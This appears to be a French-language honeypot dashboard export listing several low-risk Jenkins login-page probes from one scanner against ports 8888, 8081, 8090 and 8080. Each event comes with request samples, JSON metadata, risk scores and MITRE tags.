Signaux
Cicd Jenkins
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
HTTP alt 8888 probe
Ligne de requête
GET /login HTTP/1.1
User-Agent
Go-http-client/1.1
Règles WAF
—
Payload (extrait)
GET /login HTTP/1.1
Host: 62.3.50.33:8888
User-Agent: Go-http-client/1.1
Connection: close
Accept-Encoding: gzip
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 4,
"http_query_params": 0,
"http_path_depth": 1,
"http_path_ext": null,
"http_ua_hash": "c3e68bb8f388240c7ecaebb8bcb80a85536526f2",
"http_host_hash": "25a58e7d7f0ed40aadf0d51b038172ea9ccc8435",
"http_target_hash": "c42c80aa06113268fddf90dfdc871fb7318ff5cf",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": true,
"http_ua_is_browser": false,
"bytes_in": 120,
"payload_entropy": 4.871806509219084,
"port_category": "registered",
"org": "Vpsvault.host Ltd",
"service": "http",
"app_proto": "http",
"asn": 215925,
"country": "US",
"dst_port": 8888,
"risk_waf": 8,
"risk_classification": 32,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 4.6,
"risk_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 15
},
"risk_score": 35,
"tag_count": 3,
"anomaly_count": 0,
"campaign_key": "8fecaa4ef78fb8e77169b85bb67faba623cae0c7",
"event_fingerprint": "0b09f788301fe2b2d89591d964f79d26de504c05",
"classification_reason": "Type \u00ab jenkins_probe \u00bb (signaux protocolaires) \u00b7 confiance 47%",
"confidence": 0.47,
"classification_confidence": 0.47,
"precision_score": 56,
"precision_signals": [
"INT-cicd-jenkins"
],
"kb_rule_ids": [
"INT-cicd-jenkins"
],
"matched_patterns": [
"pat-0599"
],
"matched_pattern_names": [
"HTTP alt 8888 probe"
],
"pattern_ids": [
"pat-0599"
],
"confidence_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 15,
"risk_score": 35
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 47,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 215925,
"org": "Vpsvault.host Ltd",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "12bd583dd25b868e6423d8f04cc19fd1",
"payload_hash": "0c53640b5dd77c2536eeed513d833625",
"path_pattern_hash": "7e93fba0bc7adda858a2500090e639e4"
},
"target_context": {
"dst_port": 8888,
"service": "http",
"service_name": "http",
"risk_score": 35
},
"payload_preview": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8888\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip\r\n\r\n",
"method": "GET",
"path": "\/login",
"user_agent": "Go-http-client\/1.1",
"request_line": "GET \/login HTTP\/1.1",
"request_sample": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8888\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip\r\n\r\n",
"payload_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8888\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"evidence": {
"method": "GET",
"path": "\/login",
"user_agent": "Go-http-client\/1.1",
"request_line": "GET \/login HTTP\/1.1",
"request_sample": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8888\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip\r\n\r\n",
"payload_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8888\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"classification_reason": "Type \u00ab jenkins_probe \u00bb (signaux protocolaires) \u00b7 confiance 47%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"scanner"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "7b89fed1e6c2227c2911152d83a1f2dc6363005a",
"protocol_details": {
"http_method": "GET",
"http_path": "\/login",
"request_line": "GET \/login HTTP\/1.1",
"http_user_agent": "Go-http-client\/1.1",
"port": 8888,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8888\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"attack_vector": "jenkins probe \u00b7 via HTTP:8888 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/login",
"target_port_label": "8888 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 47 % \u2014 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab jenkins_probe \u00bb (signaux protocolaires) \u00b7 confiance 47%",
"classification_reason_label_fr": "Type \u00ab jenkins_probe \u00bb (signaux protocolaires) \u00b7 confiance 47%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 35\/100",
"confidence_pct": 47,
"confidence_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 15,
"risk_score": 35
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 35,
"risk_label": "Faible",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8888,
"protocol_emulated": true,
"tags_summary": [
"INT-cicd-jenkins"
],
"tags_summary_labels_fr": [
"Cicd Jenkins"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Confiance mod\u00e9r\u00e9e \u2014 signal unique",
"protocol_details": {
"http_method": "GET",
"http_path": "\/login",
"request_line": "GET \/login HTTP\/1.1",
"http_user_agent": "Go-http-client\/1.1",
"port": 8888,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "jenkins probe \u00b7 via HTTP:8888 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/login",
"evidence_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8888\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"target_port_label": "8888 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 47 % \u2014 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 47 % \u2014 Score WAF 8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8888"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "discovery",
"ban_policy": "advisory_monitor",
"tags_list": [
"http_probe_login",
"http_ua_suspicious",
"net_web_probe"
]
}
|
|
|
TCP |
8081 · HTTP
|
http
|
jenkins probe
jenkins probe · via HTTP:8081 · (sonde / probe) · → /login
|
Élevée
|
Faible · 35
|
|
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0007
TA0007
TA0001
Protocole
GET /login UA Go-http-client/1.1
Émulateur
HTTP
WAF
0
Recommandation
Surveiller
Tags
http_probe_login
http_ua_suspicious
net_web_probe
Cible HTTP
GET
/login
TLS SNI
—
Capteur
paris-1
|
Méthode
GET
Port
8081
Chemin / cible
/login
Pourquoi cette classification : Type « jenkins_probe » (signaux protocolaires) · confiance 47%
Confiance classification
47%
Confiance modérée — signal unique
Risque capteur
Faible
· 35
Confiance : Confiance 47 % — Motif catalogue confirmé
Protocole émulé
1
Signaux
Cicd Jenkins
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Ligne de requête
GET /login HTTP/1.1
User-Agent
Go-http-client/1.1
Règles WAF
—
Payload (extrait)
GET /login HTTP/1.1
Host: 62.3.50.33:8081
User-Agent: Go-http-client/1.1
Connection: close
Accept-Encoding: gzip
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 4,
"http_query_params": 0,
"http_path_depth": 1,
"http_path_ext": null,
"http_ua_hash": "c3e68bb8f388240c7ecaebb8bcb80a85536526f2",
"http_host_hash": "1994c0ff95f3f16c5fa9177d852edc4f1a4a8a24",
"http_target_hash": "c42c80aa06113268fddf90dfdc871fb7318ff5cf",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": true,
"http_ua_is_browser": false,
"bytes_in": 120,
"payload_entropy": 4.875059505265444,
"port_category": "registered",
"org": "Vpsvault.host Ltd",
"service": "http",
"app_proto": "http",
"asn": 215925,
"country": "US",
"dst_port": 8081,
"risk_waf": 8,
"risk_classification": 32,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 4.4,
"risk_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 15
},
"risk_score": 35,
"tag_count": 3,
"anomaly_count": 0,
"campaign_key": "42f0cdfde687c175be4bd286d7bf2708884f81e0",
"event_fingerprint": "c392e0bc933513b948daa7aeb55cb8ea496a895b",
"classification_reason": "Type \u00ab jenkins_probe \u00bb (signaux protocolaires) \u00b7 confiance 47%",
"confidence": 0.47,
"classification_confidence": 0.47,
"precision_score": 56,
"precision_signals": [
"INT-cicd-jenkins"
],
"kb_rule_ids": [
"INT-cicd-jenkins"
],
"confidence_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 15,
"risk_score": 35
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 47,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 215925,
"org": "Vpsvault.host Ltd",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "12bd583dd25b868e6423d8f04cc19fd1",
"payload_hash": "eb7bb7a037f77d0fb5b9ef8a8a38fbde",
"path_pattern_hash": "7e93fba0bc7adda858a2500090e639e4"
},
"target_context": {
"dst_port": 8081,
"service": "http",
"service_name": "http",
"risk_score": 35
},
"payload_preview": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip\r\n\r\n",
"method": "GET",
"path": "\/login",
"user_agent": "Go-http-client\/1.1",
"request_line": "GET \/login HTTP\/1.1",
"request_sample": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip\r\n\r\n",
"payload_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"evidence": {
"method": "GET",
"path": "\/login",
"user_agent": "Go-http-client\/1.1",
"request_line": "GET \/login HTTP\/1.1",
"request_sample": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip\r\n\r\n",
"payload_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"classification_reason": "Type \u00ab jenkins_probe \u00bb (signaux protocolaires) \u00b7 confiance 47%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"scanner"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "b94a76c15624891131c4ae659c0c81dbd413d823",
"protocol_details": {
"http_method": "GET",
"http_path": "\/login",
"request_line": "GET \/login HTTP\/1.1",
"http_user_agent": "Go-http-client\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"attack_vector": "jenkins probe \u00b7 via HTTP:8081 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/login",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 47 % \u2014 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab jenkins_probe \u00bb (signaux protocolaires) \u00b7 confiance 47%",
"classification_reason_label_fr": "Type \u00ab jenkins_probe \u00bb (signaux protocolaires) \u00b7 confiance 47%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 35\/100",
"confidence_pct": 47,
"confidence_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 15,
"risk_score": 35
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 35,
"risk_label": "Faible",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8081,
"protocol_emulated": true,
"tags_summary": [
"INT-cicd-jenkins"
],
"tags_summary_labels_fr": [
"Cicd Jenkins"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Confiance mod\u00e9r\u00e9e \u2014 signal unique",
"protocol_details": {
"http_method": "GET",
"http_path": "\/login",
"request_line": "GET \/login HTTP\/1.1",
"http_user_agent": "Go-http-client\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "jenkins probe \u00b7 via HTTP:8081 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/login",
"evidence_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 47 % \u2014 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 47 % \u2014 Score WAF 8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8081"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "discovery",
"matched_patterns": [],
"ban_policy": "advisory_monitor",
"tags_list": [
"http_probe_login",
"http_ua_suspicious",
"net_web_probe"
]
}
|
|
|
TCP |
8090 · HTTP
|
http
|
jenkins probe
jenkins probe · via HTTP:8090 · (sonde / probe) · → /login
|
Élevée
|
Faible · 35
|
|
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0007
TA0007
TA0001
Protocole
GET /login UA Go-http-client/1.1
Émulateur
HTTP
WAF
0
Recommandation
Surveiller
Tags
http_probe_login
http_ua_suspicious
net_web_probe
Cible HTTP
GET
/login
TLS SNI
—
Capteur
paris-1
|
Méthode
GET
Port
8090
Chemin / cible
/login
Pourquoi cette classification : Type « jenkins_probe » (signaux protocolaires) · confiance 47%
Confiance classification
47%
Confiance modérée — signal unique
Risque capteur
Faible
· 35
Confiance : Confiance 47 % — Motif catalogue confirmé
Protocole émulé
1
Signaux
Cicd Jenkins
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Ligne de requête
GET /login HTTP/1.1
User-Agent
Go-http-client/1.1
Règles WAF
—
Payload (extrait)
GET /login HTTP/1.1
Host: 62.3.50.33:8090
User-Agent: Go-http-client/1.1
Connection: close
Accept-Encoding: gzip
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 4,
"http_query_params": 0,
"http_path_depth": 1,
"http_path_ext": null,
"http_ua_hash": "c3e68bb8f388240c7ecaebb8bcb80a85536526f2",
"http_host_hash": "112b403ea5b0e3a7d0d331ab96d728785c3ab96b",
"http_target_hash": "c42c80aa06113268fddf90dfdc871fb7318ff5cf",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": true,
"http_ua_is_browser": false,
"bytes_in": 120,
"payload_entropy": 4.898849113367722,
"port_category": "registered",
"org": "Vpsvault.host Ltd",
"service": "http",
"app_proto": "http",
"asn": 215925,
"country": "US",
"dst_port": 8090,
"risk_waf": 8,
"risk_classification": 32,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 5.8,
"risk_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 15
},
"risk_score": 35,
"tag_count": 3,
"anomaly_count": 0,
"campaign_key": "9c4eec14d05d8c00da5b7af4e7038753a7611b45",
"event_fingerprint": "f1e6649c0d7d508382d12ef69014e8f2d1257b1e",
"classification_reason": "Type \u00ab jenkins_probe \u00bb (signaux protocolaires) \u00b7 confiance 47%",
"confidence": 0.47,
"classification_confidence": 0.47,
"precision_score": 56,
"precision_signals": [
"INT-cicd-jenkins"
],
"kb_rule_ids": [
"INT-cicd-jenkins"
],
"confidence_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 15,
"risk_score": 35
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 47,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 215925,
"org": "Vpsvault.host Ltd",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "12bd583dd25b868e6423d8f04cc19fd1",
"payload_hash": "40266fc776e64f535c40037051396a01",
"path_pattern_hash": "7e93fba0bc7adda858a2500090e639e4"
},
"target_context": {
"dst_port": 8090,
"service": "http",
"service_name": "http",
"risk_score": 35
},
"payload_preview": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8090\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip\r\n\r\n",
"method": "GET",
"path": "\/login",
"user_agent": "Go-http-client\/1.1",
"request_line": "GET \/login HTTP\/1.1",
"request_sample": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8090\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip\r\n\r\n",
"payload_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8090\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"evidence": {
"method": "GET",
"path": "\/login",
"user_agent": "Go-http-client\/1.1",
"request_line": "GET \/login HTTP\/1.1",
"request_sample": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8090\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip\r\n\r\n",
"payload_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8090\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"classification_reason": "Type \u00ab jenkins_probe \u00bb (signaux protocolaires) \u00b7 confiance 47%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"scanner"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "9d2352b7367a835e98ef199aa53aaab0b406b578",
"protocol_details": {
"http_method": "GET",
"http_path": "\/login",
"request_line": "GET \/login HTTP\/1.1",
"http_user_agent": "Go-http-client\/1.1",
"port": 8090,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8090\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"attack_vector": "jenkins probe \u00b7 via HTTP:8090 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/login",
"target_port_label": "8090 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 47 % \u2014 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab jenkins_probe \u00bb (signaux protocolaires) \u00b7 confiance 47%",
"classification_reason_label_fr": "Type \u00ab jenkins_probe \u00bb (signaux protocolaires) \u00b7 confiance 47%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 35\/100",
"confidence_pct": 47,
"confidence_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 15,
"risk_score": 35
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 35,
"risk_label": "Faible",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8090,
"protocol_emulated": true,
"tags_summary": [
"INT-cicd-jenkins"
],
"tags_summary_labels_fr": [
"Cicd Jenkins"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Confiance mod\u00e9r\u00e9e \u2014 signal unique",
"protocol_details": {
"http_method": "GET",
"http_path": "\/login",
"request_line": "GET \/login HTTP\/1.1",
"http_user_agent": "Go-http-client\/1.1",
"port": 8090,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "jenkins probe \u00b7 via HTTP:8090 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/login",
"evidence_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8090\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"target_port_label": "8090 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 47 % \u2014 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 47 % \u2014 Score WAF 8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8090"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "discovery",
"matched_patterns": [],
"ban_policy": "advisory_monitor",
"tags_list": [
"http_probe_login",
"http_ua_suspicious",
"net_web_probe"
]
}
|
|
|
TCP |
8080 · HTTP
|
http
|
jenkins probe
jenkins probe · via HTTP:8080 · (sonde / probe) · → /login
|
Élevée
|
Faible · 35
|
|
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0007
TA0007
TA0001
Protocole
GET /login UA Go-http-client/1.1
Émulateur
HTTP
WAF
0
Recommandation
Surveiller
Tags
http_probe_login
http_ua_suspicious
net_web_probe
Cible HTTP
GET
/login
TLS SNI
—
Capteur
paris-1
|
Méthode
GET
Port
8080
Chemin / cible
/login
Pourquoi cette classification : Type « jenkins_probe » (signaux protocolaires) · confiance 47%
Confiance classification
47%
Confiance modérée — signal unique
Risque capteur
Faible
· 35
Confiance : Confiance 47 % — Motif catalogue confirmé
Protocole émulé
1
Signaux
Cicd Jenkins
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Ligne de requête
GET /login HTTP/1.1
User-Agent
Go-http-client/1.1
Règles WAF
—
Payload (extrait)
GET /login HTTP/1.1
Host: 62.3.50.33:8080
User-Agent: Go-http-client/1.1
Connection: close
Accept-Encoding: gzip
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206e67696e782f312e32342e300d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 81,
"http_header_count": 4,
"http_query_params": 0,
"http_path_depth": 1,
"http_path_ext": null,
"http_ua_hash": "c3e68bb8f388240c7ecaebb8bcb80a85536526f2",
"http_host_hash": "c9908f9a31aefa5902e21ee9fa132cbe056c536d",
"http_target_hash": "c42c80aa06113268fddf90dfdc871fb7318ff5cf",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": true,
"http_ua_is_browser": false,
"bytes_in": 120,
"payload_entropy": 4.882182446701055,
"port_category": "registered",
"org": "Vpsvault.host Ltd",
"service": "http",
"app_proto": "http",
"asn": 215925,
"country": "US",
"dst_port": 8080,
"risk_waf": 8,
"risk_classification": 32,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 4.2,
"risk_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 15
},
"risk_score": 35,
"tag_count": 3,
"anomaly_count": 0,
"campaign_key": "4458403202cd4f888fb69789c0b6e3f4e52b1e37",
"event_fingerprint": "3fb648dcf91023ff04f2a460f04b9f68e7660456",
"classification_reason": "Type \u00ab jenkins_probe \u00bb (signaux protocolaires) \u00b7 confiance 47%",
"confidence": 0.47,
"classification_confidence": 0.47,
"precision_score": 56,
"precision_signals": [
"INT-cicd-jenkins"
],
"kb_rule_ids": [
"INT-cicd-jenkins"
],
"confidence_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 15,
"risk_score": 35
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 47,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 215925,
"org": "Vpsvault.host Ltd",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "12bd583dd25b868e6423d8f04cc19fd1",
